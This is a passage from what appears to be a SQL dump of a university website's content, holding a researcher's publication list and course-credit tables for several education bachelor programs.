assignment problem. In Proceedings of NumAn2010 Conference(Chania, Crete, Greece, 2010), pp. 177–182.</p><p>– Mehri-Tekmeh, J., and Morowati, S. A new method for the traffic assignmentproblem with capacity constraints. In proceedings of the 2nd international conferenceof Iranian operations research society (Babolsar, Iran, 2009), Persian volume,pp. 246–249. (In persian).</p><p>– Mohamadi, M., and Mehri-Tekmeh, J. A new n log n algorithm for single machinescheduling problem which minimize maximum completion cost. In proceedingsof the 2nd international conference of Iranian operations research society (Babolsar,Iran, 2009), English volume, pp. 72–75.</p><p>– Morowati, S., and Mehri-Tekmeh, J. A modified algorithm for traffic equilibrium.In proceedings of the 40th annual Iranian mathematics conference (Sharif universityof technology, Tehran, Iran, 2009).</p><p>– Mehri-Tekmeh, J., and Laleh, S. B. Accpm method to compute traffic assignmentproblems with elastic demands. In proceedings of the 2nd international conferenceof Iranian operations research society (Babolsar, Iran, 2009), Persian volume, pp. 65–68. (In persian).</p><p>– Mehri-Tekmeh, J., and Hajizadeh, R. A subgradient optimization model for roadnetwork design problem with variable demand. In proceedings of the 40th annualIranian mathematics conference (Sharif university of technology, Tehran, Iran,2009).</p><p>– Mehri-Tekmeh, J., and Akrami, H. Formulation of optimal routing for wirelessmesh networks with dynamic traffic demand. In proceedings of the 2nd internationalconference of Iranian operations research society (Babolsar, Iran, 2009), Persianvolume, pp. 175–178. (In persian).</p><p>– Mehri-Tekmeh, J., Mirnia, M., and Sheikholeslami, S. M. On the 2-packing numbersof complete grid graphs. In book of abstracts of 35th annual Iranian mathematicsconference (Ahvaz, Iran, 2005), p. 56.</p><p>– Isazadeh, A., Toomanian, M., and Mehri-Tekmeh, J. Viewgraph: An extension tograph theory. In proceedings of the 31st Iranian mathematics conference (Universityof Tehran, Iran, 2000), pp. 2–10.</p><p>– Mehri-Tekmeh, J., and Isazadeh, A. An extension for mealy machine and its applicationon viewcharts. In proceeding of the 30th Iranian international conference onmathematics (Ardebil, Iran, 1998). (In persian).</p><p>– Mehri-Tekmeh, J., and Mirnia, M. The primal-dual layered step interior pointmethod for linear programming. In proceedings of the first optimization conferenceand its applications (Ferdowsi university of Mashhad, Iran, 1998), vol. 2, pp. 215–223.(In persian).</p><p>– Isazadeh, A., and Mehri-Tekmeh, J. Information and control systems for productionlines. In proceeding of the first annual seminar of automation, robotics &amp; control(ARC) (Tabriz, Iran, 1998), pp. 129–140. (In persian).</p><p>– Isazadeh, A., Mehri-Tekmeh, J., and Kordkandi, H. A. A graph theoretic foundationfor viewcharts. In proceeding of the third international annual computer society ofIran computer conference (Iran university of science and technology, Tehran, Iran,1997), pp. 81–88. (In persian).</p><div><br></div></div></div>  <br></div>'),(1301,831,'az','Javad Mehri Tekmeh','Javad Mehri Tekmeh','<div><br></div><div> <div><div style=\"font-family:\'times new roman\', times, serif;background:undefined \"><div style=\"background:undefined \"><p style=\"background:undefined \"><strong>• Refereed Journal Papers:</strong></p><p style=\"background:undefined \"><br>– Morowati Shalilvand, S., and Mehri-Tekmeh, J. An extended origin-based methodfor solving capacitated traffic assignment problem. Acta Universitatis Apulensis 35(2013), 169–186.</p><p style=\"background:undefined \">– Rezaeiniya, N., Ghadikolaei, A. S., Mehri-Tekmeh, J., and Rezaeiniya, H. Fuzzyanp approach for new application: Greenhouse location selection; a case in iran.Journal of mathematics and computer Science 8 (2014), 1–20.</p><p style=\"background:undefined \">– Bakhtiari, A., Navid, H., Mehri, J., Berruto, R., and Bochtis, D. D. Operationsplanning for agricultural harvesters using ant colony optimization. Spanish Journalof Agricultural Research 11, 3 (2013), 652–660.</p><p style=\"background:undefined \">– Saee Bostanabad, M., Mehri-Tekmeh, J., Mirnia, M., and Dehkharghani, A. M.The system optimization perspective for multiproduct supply chain network. AnInternational Journal of Optimization and Control: Theories &amp; Applications 3, 2 (2013),153–159.</p><p style=\"background:undefined \">– Saee Bostanabad, M., Mehri-Tekmeh, J., and Dehkharghani, A. M. Equity in multiproductsupply chain network. An International Journal of Optimization and Control:Theories &amp; Applications 3, 1 (2013), 65–71.</p><p style=\"background:undefined \">– Morowati, S., and Mehri-Tekmeh, J. Finding most vital links over time in a flownetwork. An International Journal of Optimization and Control: Theories &amp; Applications2, 2 (2012), 173–186.</p><p style=\"background:undefined \">– Bakhtiari, A. A., Navid, H., Mehri-Tekmeh, J., and Bochtis, D. D. Optimal routeplanning of agricultural field operations using ant colony optimization. AgriculturalEngineering International: CIGR Journal 13, 4 (2011).</p><p style=\"background:undefined \">– Mehri-Tekmeh, J., Mirnia, M., and Sheikholeslami, S. M. 3-tuple domination numberin complete grid graphs. International Mathematical Forum 1, 23 (2006), 1099–1112.</p><p style=\"background:undefined \">– Mehri-Tekmeh, J., and Isazadeh, A. A graph theoretic semantics for viewcharts.International Mathematical Forum 1, 22 (2006), 1077–1098.</p><p style=\"background:undefined \">– Isazadeh, A., Toomanian, M., and Mehri-Tekmeh, J. Viewgraph: An extension tograph theory. International Mathematics Journal 2, 10 (2002), 957–969.</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>• Refereed Conference Papers:</strong></p><p style=\"background:undefined \"><br>– Bostanabad, M. S., Mehri-Tekmeh, J., and Mirnia, M. The system optimizationperspective for multiproduct supply chain network. In Proceedings of The 43rdAnnual Iranian Mathematics Conference (Tabriz, Iran, 2012), pp. 1341–1343.</p><p style=\"background:undefined \">– Bostanabad, M. S., Mehri-Tekmeh, J., and Dehkharghani, A. M. Equity in multiproductsupply chain network. In Proceedings of The 43rd Annual Iranian MathematicsConference (Tabriz, Iran, 2012), pp. 902–904.</p><p style=\"background:undefined \">– Abbasnezhad, N., Hajizadeh, R.,&nbsp;and Mehri-Tekmeh, J. Robust model for maximumflow problem over time. In Proceedings of The 43rd Annual Iranian MathematicsConference (Tabriz, Iran, 2012), pp. 165–168. (In persian).</p><p style=\"background:undefined \">– Mehri-Tekmeh, J., Ghadikolaei, A. S., and Rezaeinia, N. A fuzzy ahp approach forprioritizing indicators and sub-indicators for greenhouse locating. In proceedingsof the 2011 IEEE international conference on industrial engineering and management(China, 2011).</p><p style=\"background:undefined \">– Aghdaie, M. H., Zolfani, S. H., Rezaeinia, N., and Mehri-Tekmeh, J. A hybrid fuzzymcdm approach for market segments evaluation and selection. In proceedingsof the 2011 IEEE international conference on industrial engineering and management(China, 2011).</p><p style=\"background:undefined \">– Morowati, S., and Mehri-Tekmeh, J. An extended origin-based method for solvingcapacitated traffic assignment problem. In Proceedings of NumAn2010 Conference(Chania, Crete, Greece, 2010), pp. 177–182.</p><p style=\"background:undefined \">– Mehri-Tekmeh, J., and Morowati, S. A new method for the traffic assignmentproblem with capacity constraints. In proceedings of the 2nd international conferenceof Iranian operations research society (Babolsar, Iran, 2009), Persian volume,pp. 246–249. (In persian).</p><p style=\"background:undefined \">– Mohamadi, M., and&nbsp;Mehri-Tekmeh, J. A new n log n algorithm for single machinescheduling problem which minimize maximum completion cost. In proceedingsof the 2nd international conference of Iranian operations research society (Babolsar,Iran, 2009), English volume, pp. 72–75.</p><p style=\"background:undefined \">– Morowati, S., and Mehri-Tekmeh, J. A modified algorithm for traffic equilibrium.In proceedings of the 40th annual Iranian mathematics conference (Sharif universityof technology, Tehran, Iran, 2009).</p><p style=\"background:undefined \">– Mehri-Tekmeh, J., and Laleh, S. B. Accpm method to compute traffic assignmentproblems with elastic demands. In proceedings of the 2nd international conferenceof Iranian operations research society (Babolsar, Iran, 2009), Persian volume, pp. 65–68. (In persian).</p><p style=\"background:undefined \">– Mehri-Tekmeh, J., and Hajizadeh, R. A subgradient optimization model for roadnetwork design problem with variable demand. In proceedings of the 40th annualIranian mathematics conference (Sharif university of technology, Tehran, Iran,2009).</p><p style=\"background:undefined \">– Mehri-Tekmeh, J., and Akrami, H. Formulation of optimal routing for wirelessmesh networks with dynamic traffic demand. In proceedings of the 2nd internationalconference of Iranian operations research society (Babolsar, Iran, 2009), Persianvolume, pp. 175–178. (In persian).</p><p style=\"background:undefined \">– Mehri-Tekmeh, J., Mirnia, M., and Sheikholeslami, S. M. On the 2-packing numbersof complete grid graphs. In book of abstracts of 35th annual Iranian mathematicsconference (Ahvaz, Iran, 2005), p. 56.</p><p style=\"background:undefined \">– Isazadeh, A., Toomanian, M., and Mehri-Tekmeh, J. Viewgraph: An extension tograph theory. In proceedings of the 31st Iranian mathematics conference (Universityof Tehran, Iran, 2000), pp. 2–10.</p><p style=\"background:undefined \">– Mehri-Tekmeh, J., and Isazadeh, A. An extension for mealy machine and its applicationon viewcharts. In proceeding of the 30th Iranian international conference onmathematics (Ardebil, Iran, 1998). (In persian).</p><p style=\"background:undefined \">– Mehri-Tekmeh, J., and Mirnia, M. The primal-dual layered step interior pointmethod for linear programming. In proceedings of the first optimization conferenceand its applications (Ferdowsi university of Mashhad, Iran, 1998), vol. 2, pp. 215–223.(In persian).</p><p style=\"background:undefined \">– Isazadeh, A., and Mehri-Tekmeh, J. Information and control systems for productionlines. In proceeding of the first annual seminar of automation, robotics &amp; control(ARC) (Tabriz, Iran, 1998), pp. 129–140. (In persian).</p><p style=\"background:undefined \">– Isazadeh, A., Mehri-Tekmeh, J., and Kordkandi, H. A. A graph theoretic foundationfor viewcharts. In proceeding of the third international annual computer society ofIran computer conference (Iran university of science and technology, Tehran, Iran,1997), pp. 81–88. (In persian).</p><div style=\"background:undefined \"><br></div></div></div></div><br></div>'),(1303,833,'en','Bachelor Degree Program in Azerbaijani Language and Literature Education','Bachelor Degree Program in Azerbaijani Language and Literature Education','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Bachelor Degree Program in Azerbaijani Language and Literature Education</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">As the name indicates, this program is based on issues and topics related to education and Azerbaijani language and literature, as well as interconnections among the three. The program encompasses study of Azerbaijani literature from the time of its emergence through the periods of its development in chronological order. This involves studying the lives and works of individual writers and poets from various periods, exploring their literary activities, analyzing the national and global issues they focused on, determining the literary influence of a given writer/poet on others, and systematically investigating their creative activities according to the historical periods in which they lived.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Central to the coursework is the study of students’ selections of literary works and discussions about these works. The students are also offered a variety of elective courses.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The “World Literature” part of the program has been designed taking into account historical periods and geographical locations. Literature selections from Ancient and Medieval times, the Near East, the Far East, and Europe are studied, and beginning from the 19<sup>th</sup>&nbsp;century, works from European, American, Russian, Near Eastern, and Far Eastern literature are studied and analyzed in a comparative framework. The program also covers issues related to literary criticism.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The language section of the program mainly focuses on the extensive study of the grammatical structures of the modern Azerbaijani language. At the same time, linguistic matters, the history of the literary language, and teaching methods are covered on a comparative basis.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong>The program is based on professional knowledge and teaching skills with a diversity of teaching methods. Internships are a necessary part of the program, and students are given an opportunity for a practicum and internship at \"Dunya\" High School and/or other schools.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td colspan=\"2\" width=\"156\"><strong>Code</strong></td><td width=\"252\"><strong>Courses</strong></td><td colspan=\"2\" width=\"84\"><strong>Credits</strong></td></tr><tr><td colspan=\"4\" width=\"432\">&nbsp;</td><td width=\"60\">&nbsp;</td></tr><tr><td colspan=\"4\" width=\"432\"><strong>University Requirements</strong></td><td width=\"60\">&nbsp; 21*</td></tr><tr><td colspan=\"4\" width=\"432\"><strong>General Education Requirements</strong></td><td width=\"60\">21</td></tr><tr><td colspan=\"4\" width=\"432\"><strong>Major Requirements</strong></td><td width=\"60\">84</td></tr><tr><td width=\"132\">&nbsp;</td><td colspan=\"3\" width=\"300\"><strong>Required Language Courses</strong></td><td width=\"60\">15</td></tr><tr><td width=\"132\">AZLL 106</td><td colspan=\"3\" width=\"300\">Modern Azerbaijani Language - 1</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 108</td><td colspan=\"3\" width=\"300\">Modern Azerbaijani Language - 2</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 206</td><td colspan=\"3\" width=\"300\">Modern Azerbaijani Language - 3</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LING 216</td><td colspan=\"3\" width=\"300\">Fundamentals of Linguistics</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 306</td><td colspan=\"3\" width=\"300\">History of the Azerbaijani Literary Language</td><td width=\"60\">3</td></tr><tr><td width=\"132\">&nbsp;</td><td colspan=\"3\" width=\"300\"><strong>Required Literature Courses</strong></td><td width=\"60\">24</td></tr><tr><td width=\"132\">AZLL 107</td><td colspan=\"3\" width=\"300\">History of Azerbaijani Literature - 1</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 109</td><td colspan=\"3\" width=\"300\">History of Azerbaijani Literature - 2</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 207</td><td colspan=\"3\" width=\"300\">History of Azerbaijani Literature - 3</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 208</td><td colspan=\"3\" width=\"300\">History of Azerbaijani Literature - 4</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 307</td><td colspan=\"3\" width=\"300\">History of Azerbaijani Literature - 5</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LIT&nbsp; 305</td><td colspan=\"3\" width=\"300\">World Literature – 1</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 308</td><td colspan=\"3\" width=\"300\">World Literature – 2</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LIT 405</td><td colspan=\"3\" width=\"300\">World Literature – 3</td><td width=\"60\">3</td></tr><tr><td width=\"132\">&nbsp;</td><td colspan=\"3\" width=\"300\">Required Education Courses</td><td width=\"60\">9</td></tr><tr><td width=\"132\">EDU101</td><td colspan=\"3\" width=\"300\">Introduction to Education</td><td width=\"60\">3</td></tr><tr><td width=\"132\">PSYC 304</td><td colspan=\"3\" width=\"300\">Basics of Educational Psychology</td><td width=\"60\">3</td></tr><tr><td width=\"132\">EDU302</td><td colspan=\"3\" width=\"300\">Curriculum Instruction and Assessment Strategies</td><td width=\"60\">3</td></tr><tr><td width=\"132\">&nbsp;</td><td colspan=\"3\" width=\"300\">Methods of Teaching</td><td width=\"60\">6</td></tr><tr><td width=\"132\">EDU 408</td><td colspan=\"3\" width=\"300\">Teaching Methods of the Azerbaijani Language</td><td width=\"60\">3</td></tr><tr><td width=\"132\">EDU 409</td><td colspan=\"3\" width=\"300\">Teaching Methods of Azerbaijani Literature</td><td width=\"60\">3</td></tr><tr><td width=\"132\">&nbsp;</td><td colspan=\"3\" width=\"300\"><strong>Elective Education Courses</strong></td><td width=\"60\">6</td></tr><tr><td width=\"132\">PSYC 101</td><td colspan=\"3\" width=\"300\">Introduction to Psychology. Child Development</td><td width=\"60\">3</td></tr><tr><td width=\"132\">EDU468</td><td colspan=\"3\" width=\"300\">Historical and Philosophical Foundations of Education</td><td width=\"60\">3</td></tr><tr><td width=\"132\">EDU 496</td><td colspan=\"3\" width=\"300\">Classroom Management</td><td width=\"60\">3</td></tr><tr><td width=\"132\">EDU 217</td><td colspan=\"3\" width=\"300\">Special Education</td><td width=\"60\">3</td></tr><tr><td width=\"132\">&nbsp;</td><td colspan=\"3\" width=\"300\">Others</td><td width=\"60\">&nbsp;</td></tr><tr><td width=\"132\">&nbsp;</td><td colspan=\"3\" width=\"300\"><strong>Elective Language Courses</strong></td><td width=\"60\">&nbsp;6</td></tr><tr><td width=\"132\">TURK 101</td><td colspan=\"3\" width=\"300\">Introduction to Turkology</td><td width=\"60\">3</td></tr><tr><td width=\"132\">TURK 305</td><td colspan=\"3\" width=\"300\">Comparative Grammar of Turkic Languages</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LING 421</td><td colspan=\"3\" width=\"300\">Socio-linguistics</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LING 426</td><td colspan=\"3\" width=\"300\">Structural Linguistics</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LING 427</td><td colspan=\"3\" width=\"300\">Psycho-linguistics</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LING 428</td><td colspan=\"3\" width=\"300\">Ethno-linguistics</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LING 491</td><td colspan=\"3\" width=\"300\">Phonology</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LING 493</td><td colspan=\"3\" width=\"300\">Comparative Historical Linguistics</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LING 495</td><td colspan=\"3\" width=\"300\">History of Azerbaijani Linguistics</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LING 505</td><td colspan=\"3\" width=\"300\">Applied Linguistics</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LING 511</td><td colspan=\"3\" width=\"300\">Linguistic Methods</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LING 614</td><td colspan=\"3\" width=\"300\">Linguistic Typology</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 512</td><td colspan=\"3\" width=\"300\">Azerbaijani Dialectology</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 513</td><td colspan=\"3\" width=\"300\">Onomastics</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 514</td><td colspan=\"3\" width=\"300\">Textual Criticism</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 515</td><td colspan=\"3\" width=\"300\">Historical Azerbaijani Grammar</td><td width=\"60\">3</td></tr><tr><td width=\"132\">&nbsp;</td><td colspan=\"3\" width=\"300\"><strong>Elective Literature Courses</strong></td><td width=\"60\">6</td></tr><tr><td width=\"132\">LIT 215</td><td colspan=\"3\" width=\"300\">Ancient Eastern Literature</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LIT 216</td><td colspan=\"3\" width=\"300\">Literature of the Antique Period</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LIT 217</td><td colspan=\"3\" width=\"300\">Medieval Eastern Literature</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LIT 310</td><td colspan=\"3\" width=\"300\">Medieval Persian Literature</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LIT 311</td><td colspan=\"3\" width=\"300\">Literature of Far Eastern Peoples (China, Japan, Korea, and others)</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LIT 312</td><td colspan=\"3\" width=\"300\">Indian Literature</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 416</td><td colspan=\"3\" width=\"300\">Fundamentals of Literary Critics</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 488</td><td colspan=\"3\" width=\"300\">The Environment of Eastern Languages and Azerbaijani Literature</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 497</td><td colspan=\"3\" width=\"300\">Creative Writing</td><td width=\"60\">3</td></tr><tr><td width=\"132\">TURK 102</td><td colspan=\"3\" width=\"300\">Literature of Turkic Peoples</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 116</td><td colspan=\"3\" width=\"300\">Azerbaijani Children’s Literature</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 215</td><td colspan=\"3\" width=\"300\">Azerbaijani “Divan” Literature</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 456</td><td colspan=\"3\" width=\"300\">Azerbaijani Dramaturgy</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 466</td><td colspan=\"3\" width=\"300\">20<sup>th</sup>-Century Azerbaijani Prose</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 468</td><td colspan=\"3\" width=\"300\">20<sup>th</sup>-century Azerbaijani Poetry</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 470</td><td colspan=\"3\" width=\"300\">Literature of South Azerbaijan</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 518</td><td colspan=\"3\" width=\"300\">Medieval Azerbaijani Literature</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 520</td><td colspan=\"3\" width=\"300\">“Ashiq” Literature</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL 522</td><td colspan=\"3\" width=\"300\">Study of “Dede Qorqud”</td><td width=\"60\">3</td></tr><tr><td width=\"132\">AZLL524</td><td colspan=\"3\" width=\"300\">Study of “Koroglu”</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LIT 411</td><td colspan=\"3\" width=\"300\">17<sup>th</sup>-18<sup>th</sup>-Century Western European Literature</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LIT 412</td><td colspan=\"3\" width=\"300\">19<sup>th</sup>-20<sup>th</sup>-Century World Literature</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LIT 413</td><td colspan=\"3\" width=\"300\">History of Russian Literature</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LIT 505</td><td colspan=\"3\" width=\"300\">Modern Literary Process</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LIT 506</td><td colspan=\"3\" width=\"300\">Poetry</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LIT 507</td><td colspan=\"3\" width=\"300\">Literary Critique (History and Theory)</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LIT 508</td><td colspan=\"3\" width=\"300\">Literature and Aesthetics</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LIT 516</td><td colspan=\"3\" width=\"300\">Theory of Literature</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LIT 517</td><td colspan=\"3\" width=\"300\">Poetry and Philosophy</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LIT 526</td><td colspan=\"3\" width=\"300\">Immigrant Literature</td><td width=\"60\">3</td></tr><tr><td width=\"132\">LIT 527</td><td colspan=\"3\" width=\"300\">History and Theory of Translation</td><td width=\"60\">3</td></tr><tr><td width=\"132\">&nbsp;</td><td colspan=\"3\" width=\"300\">(<em>other elective courses may also be offered</em>)</td><td width=\"60\">&nbsp;</td></tr><tr><td colspan=\"4\" width=\"432\">Practicum and Internship (Generally, 6 credits for practicum, 6 credits for internship)</td><td width=\"60\">12</td></tr><tr><td width=\"132\"><strong>Open Electives</strong></td><td colspan=\"3\" width=\"300\">&nbsp;</td><td width=\"60\">6</td></tr><tr><td width=\"132\">&nbsp;</td><td colspan=\"3\" width=\"300\">Elective 1</td><td width=\"60\">3</td></tr><tr><td width=\"132\">&nbsp;</td><td colspan=\"3\" width=\"300\">Elective 2</td><td width=\"60\">3</td></tr><tr><td width=\"132\"><strong>TOTAL</strong></td><td colspan=\"3\" width=\"300\">&nbsp;</td><td width=\"60\">132</td></tr></tbody></table><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><ul style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong>Note:</strong><em>For Azerbaijani Language and Literature Education program,&nbsp;“Azerbaijani Language” and “Azerbaijani Literature” courses are not included in the General Education Requirements (GER). Unlike to other Bachelor programs, in this program GER count for 15 credits (instead of 21 credits)</em></li></ul>  <br></div>'),(1304,834,'en','Bachelor Degree Program in Mathematics and Computer Education','Bachelor Degree Program in Mathematics and Computer Education','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Bachelor Degree Program in Mathematics and Computer Education</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This program embraces issues and topics related to education, mathematics and computer sciences, as well as interconnections among the three.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The program is based on professional knowledge and skills in mathematics and computer science with a diversity of teaching methods. Internships are a necessary part of the program, and students are given an opportunity for a practicum and internship at \"Dunya\" High School and/or other schools.</p><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"156\"><strong>Code</strong></td><td width=\"228\"><strong>Courses</strong></td><td colspan=\"2\" width=\"108\"><strong>Credits</strong></td></tr><tr><td colspan=\"3\" width=\"432\">&nbsp;</td><td width=\"60\">&nbsp;</td></tr><tr><td colspan=\"3\" width=\"432\"><strong>University Requirements</strong></td><td width=\"60\">27</td></tr><tr><td colspan=\"3\" width=\"432\"><strong>General Education Requirements</strong></td><td width=\"60\">18</td></tr><tr><td colspan=\"3\" width=\"432\"><strong>Major Requirements</strong></td><td width=\"60\"><strong>84</strong></td></tr><tr><td colspan=\"3\" width=\"432\"><strong>Core Mathematics Courses</strong></td><td width=\"60\">30</td></tr><tr><td width=\"156\">MATH 104</td><td colspan=\"2\" width=\"276\">Calculus-I</td><td width=\"60\">3</td></tr><tr><td width=\"156\">MATH 203</td><td colspan=\"2\" width=\"276\">Calculus-II</td><td width=\"60\">3</td></tr><tr><td width=\"156\">MATH 303</td><td colspan=\"2\" width=\"276\">Differential Equations</td><td width=\"60\">3</td></tr><tr><td width=\"156\">MATH 306</td><td colspan=\"2\" width=\"276\">Linear Algebra and Analytic Geometry</td><td width=\"60\">4</td></tr><tr><td width=\"156\">MATH 323</td><td colspan=\"2\" width=\"276\">Algebra and Number Theory-I</td><td width=\"60\">3</td></tr><tr><td width=\"156\">MATH 401</td><td colspan=\"2\" width=\"276\">Algebra and Number Theory-II</td><td width=\"60\">3</td></tr><tr><td width=\"156\">MATH 406</td><td colspan=\"2\" width=\"276\">Advanced Calculus (Complex Calculus and Functional Analysis)</td><td width=\"60\">4</td></tr><tr><td width=\"156\">MATH 408</td><td colspan=\"2\" width=\"276\">Applied Mathematics</td><td width=\"60\">4</td></tr><tr><td width=\"156\">&nbsp;</td><td colspan=\"2\" width=\"276\"><strong>Elective</strong></td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;</td><td colspan=\"2\" width=\"276\">Core Computer Science</td><td width=\"60\">30</td></tr><tr><td width=\"156\">CMS 101</td><td colspan=\"2\" width=\"276\">Introduction to Computer Science</td><td width=\"60\">3</td></tr><tr><td width=\"156\">CMS 106</td><td colspan=\"2\" width=\"276\">Fundamentals of Computer Programming</td><td width=\"60\">3</td></tr><tr><td width=\"156\">CMS 210</td><td colspan=\"2\" width=\"276\">Programming Languages</td><td width=\"60\">3</td></tr><tr><td width=\"156\">CMS 276</td><td colspan=\"2\" width=\"276\">Computer Applications</td><td width=\"60\">3</td></tr><tr><td width=\"156\">CMS 309</td><td colspan=\"2\" width=\"276\">Computer Networks and Communications</td><td width=\"60\">3</td></tr><tr><td width=\"156\">CMS 416</td><td colspan=\"2\" width=\"276\">Database Management System</td><td width=\"60\">3</td></tr><tr><td width=\"156\">CMS 451</td><td colspan=\"2\" width=\"276\">Computer Graphics</td><td width=\"60\">3</td></tr><tr><td width=\"156\">CMS 535</td><td colspan=\"2\" width=\"276\">Multimedia Design</td><td width=\"60\">3</td></tr><tr><td width=\"156\">Elective</td><td colspan=\"2\" width=\"276\">&nbsp;</td><td width=\"60\">6</td></tr><tr><td colspan=\"3\" width=\"432\"><strong>Methods of Teaching</strong></td><td width=\"60\"><br></td></tr><tr><td width=\"156\">MATH 412</td><td colspan=\"2\" width=\"276\">Mathematics Education</td><td width=\"60\">6</td></tr><tr><td width=\"156\">CMS 435</td><td colspan=\"2\" width=\"276\">Computer in Education</td><td>3</td></tr></tbody></table>  <br></div>'),(1305,835,'en',' Bachelor Degree Program in Chemistry and Biology Education',' Bachelor Degree Program in Chemistry and Biology Education','<div><br></div><div><h3><strong>Bachelor Degree Program in Chemistry and Biology Education</strong></h3><p>This program is composed of 2 related sciences. The program is based on professional knowledge and skills in chemistry and biology science with a diversity of teaching methods. Internships are a necessary part of the program, and students are given an opportunity for a practicum and internship at \"Dunya\" High School and/or other schools.</p><p>&nbsp;</p><table width=\"424\" height=\"847\"><tbody><tr><td><strong>Code</strong>&nbsp;<br></td><td><strong>Courses</strong>&nbsp;<br></td><td><strong>Credits</strong><br></td></tr><tr><td><strong>University Requirements</strong></td><td>&nbsp;</td><td><strong>&nbsp;27</strong></td></tr><tr><td><strong>General Education Requirements</strong>&nbsp;<br></td><td>&nbsp;</td><td><strong>&nbsp;18</strong></td></tr><tr><td><strong>Major Requirements</strong>&nbsp;<br></td><td>&nbsp;</td><td><strong>&nbsp;87</strong></td></tr><tr><td>&nbsp;</td><td>&nbsp;<strong>Core Chemistry Courses</strong></td><td><strong>&nbsp;21</strong></td></tr><tr><td>CHEM 208</td><td>General and inorganic chemistry</td><td>&nbsp;3</td></tr><tr><td>CHEM 220</td><td>Organic chemistry</td><td>&nbsp;3</td></tr><tr><td>CHEM 251</td><td>Oil chemistry</td><td>&nbsp;3</td></tr><tr><td>CHEM 311</td><td>Physical chemistry</td><td>&nbsp;3</td></tr><tr><td>CHEM 320</td><td>Chemistry of High-molecular Compunds (Polymer Chemistry)</td><td>&nbsp;3</td></tr><tr><td>CHEM 321</td><td>Analitical chemistry</td><td>&nbsp;3</td></tr><tr><td>CHEM 352</td><td>Colloid chemistry</td><td>&nbsp;3</td></tr><tr><td>&nbsp;</td><td><strong>Elective Chemistry Courses</strong>&nbsp;<br></td><td>&nbsp;<strong>12</strong></td></tr><tr><td>CHEM 201</td><td>Biochemistry</td><td>&nbsp;3</td></tr><tr><td>CHEM 417</td><td>Ecological Chemistry</td><td>&nbsp;3</td></tr><tr><td>CHEM 404</td><td>Fundametals of chemistry technology</td><td>&nbsp;3</td></tr><tr><td>CHEM 442&nbsp;<br></td><td>Chemical Calculations&nbsp;<br></td><td>&nbsp;3</td></tr><tr><td>&nbsp;</td><td><strong>Core Biology Courses</strong>&nbsp;<br></td><td>&nbsp;<strong>21</strong></td></tr><tr><td>BIO 101</td><td>General biology</td><td>&nbsp;3</td></tr><tr><td>BIO 